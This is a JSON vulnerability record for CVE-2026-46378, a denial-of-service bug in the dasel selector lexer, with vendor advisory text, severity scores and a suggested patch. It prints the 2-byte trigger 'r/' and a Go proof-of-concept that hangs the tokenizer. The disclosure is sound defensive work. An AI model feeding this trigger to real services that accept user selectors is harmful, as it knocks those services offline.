{"id":"CVE-2026-46378","aliases":["CVE-2026-46378","GHSA-m6xr-fvfg-5g64","GO-2026-5493"],"related":[],"kind":"vulnerability","state":"published","title":"Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal","summary":"Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the selector lexer matchRegexPattern closure in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go loops while tokenizing an unterminated regex literal such as r/ because peekRuneEqual returns false after the end of input, allowing attacker-controlled selector strings to consume CPU indefinitely. This issue is fixed in version 3.10.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the selector lexer matchRegexPattern closure in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go loops while tokenizing an unterminated regex literal such as r/ because peekRuneEqual returns false after the end of input, allowing attacker-controlled selector strings to consume CPU indefinitely. This issue is fixed in version 3.10.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`dasel`'s selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as `r/abc`. A 2-byte input (`r/`) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.\n\nI confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet.\n\n### Details\n\nThe bug is in the `matchRegexPattern` closure within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L237-L247`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L237-L247):\n\n```go\nmatchRegexPattern := func(pos int) *Token {\n    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {\n        return nil\n    }\n    start := pos\n    pos += 2\n    for !p.peekRuneEqual(pos, '/') {  // line 243\n        pos++\n    }\n    pos++\n    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))\n}\n```\n\nWhen no closing `/` exists, [`peekRuneEqual`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L39-L43) returns `false` when `pos >= srcLen` (because the bounds check at line 40 returns `false` for out-of-range positions). Since `!false = true`, the loop condition remains true and `pos` increments indefinitely. The function never returns.\n\nNotably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the regex pattern path does not perform a similar end-of-input check.\n\nMinimal trigger: `r/` (2 bytes)\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/selector/lexer\"\n)\n\nfunc main() {\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\tfor _, input := range []string{\"r/unterminated\", \"r/\"} {\n\t\tfmt.Printf(\"Input: %s\\n\", input)\n\t\tdone := make(chan string, 1)\n\t\tgo func() {\n\t\t\tt := lexer.NewTokenizer(input)\n\t\t\tstart := time.Now()\n\t\t\ttokens, err := t.Tokenize()\n\t\t\telapsed := time.Since(start)\n\t\t\tif err != nil {\n\t\t\t\tdone <- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t\t} else {\n\t\t\t\tdone <- fmt.Sprintf(\"OK after %v: %d tokens\", elapsed, len(tokens))\n\t\t\t}\n\t\t}()\n\n\t\tselect {\n\t\tcase result := <-done:\n\t\t\tfmt.Println(result)\n\t\tcase <-time.After(5 * time.Second):\n\t\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\")\n\t\t}\n\t\tfmt.Println()\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nGo version: go1.26.1\nGOARCH: arm64\n\nInput: r/unterminated\nCONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\n\nInput: r/\nCONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\n```\n\n### Impact\n\nAn attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.\n\nThe selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:\n- Web applications using dasel for dynamic data querying\n- Applications that construct selectors from user input\n- Shared tooling environments where selectors are passed as parameters\n\n### Suggested Fix\n\nThe regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since `matchRegexPattern` currently returns `*Token`, the fix also requires changing the function signature to propagate errors. For example:\n\n```go\nmatchRegexPattern := func(pos int) (*Token, error) {\n    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {\n        return nil, nil\n    }\n    start := pos\n    pos += 2\n    for pos < p.srcLen && p.src[pos] != '/' {\n        pos++\n    }\n    if pos >= p.srcLen {\n        return nil, &UnexpectedEOFError{Pos: pos}\n    }\n    pos++\n    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil\n}\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal in github.com/tomwright/dasel","format":"markdown","source":"go"},{"lang":"es","text":"Dasel es una herramienta de línea de comandos y biblioteca para consultar, modificar y transformar estructuras de datos. Desde la versión 3.0.0 hasta la 3.10.1, el cierre matchRegexPattern del analizador léxico de selectores en (Tokenizer).parseCurRune en selector/lexer/tokenize.go entra en un bucle al tokenizar un literal de expresión regular no terminado como r/ porque peekRuneEqual devuelve falso después del final de la entrada, permitiendo que cadenas de selectores controladas por el atacante consuman CPU indefinidamente. Este problema está solucionado en la versión 3.10.1.","source":"nvd"}],"published":"2026-05-19T20:09:20.000Z","modified":"2026-10-24T20:10:00.137Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-835"],"affected":[{"ranges":[{"version":">= 3.0.0, < 3.10.1","status":"affected"}],"vendor":"TomWright","product":"dasel","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"3.0.0","status":"affected","fixed":"3.10.1"}],"ecosystem":"Go","package":"github.com/tomwright/dasel/v3","purl":"pkg:golang/github.com/tomwright/dasel/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/tomwright/dasel","purl":"pkg:golang/github.com/tomwright/dasel","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/tomwright/dasel/v2","purl":"pkg:golang/github.com/tomwright/dasel/v2","source":"go"},{"ranges":[{"type":"semver","introduced":"3.0.0","status":"affected","fixed":"3.10.1"}],"ecosystem":"Go","package":"github.com/tomwright/dasel/v3","purl":"pkg:golang/github.com/tomwright/dasel/v3","source":"go"}],"references":[{"url":"https://github.com/TomWright/dasel/security/advisories/GHSA-m6xr-fvfg-5g64","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/TomWright/dasel/commit/95f8dd3af12958bf6ca2a737b3ec0267280f86ed","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/TomWright/dasel","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-07-17T15:06:25.761Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-46378","url":"https://www.cve.org/CVERecord?id=CVE-2026-46378","licence":"CVE Terms of Use","modified":"2026-07-17T15:06:49.587Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m6xr-fvfg-5g64","url":"https://github.com/advisories/GHSA-m6xr-fvfg-5g64","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:06.298Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5493","url":"https://pkg.go.dev/vuln/GO-2026-5493","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:19.184Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-46378","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46378","licence":"Public domain","modified":"2026-10-24T20:10:00.137Z"}],"updatedAt":"2026-11-25T22:59:28.419Z","epss":{"score":0.00162,"percentile":0.05613,"date":"2026-12-01T12:00:22.000Z"}}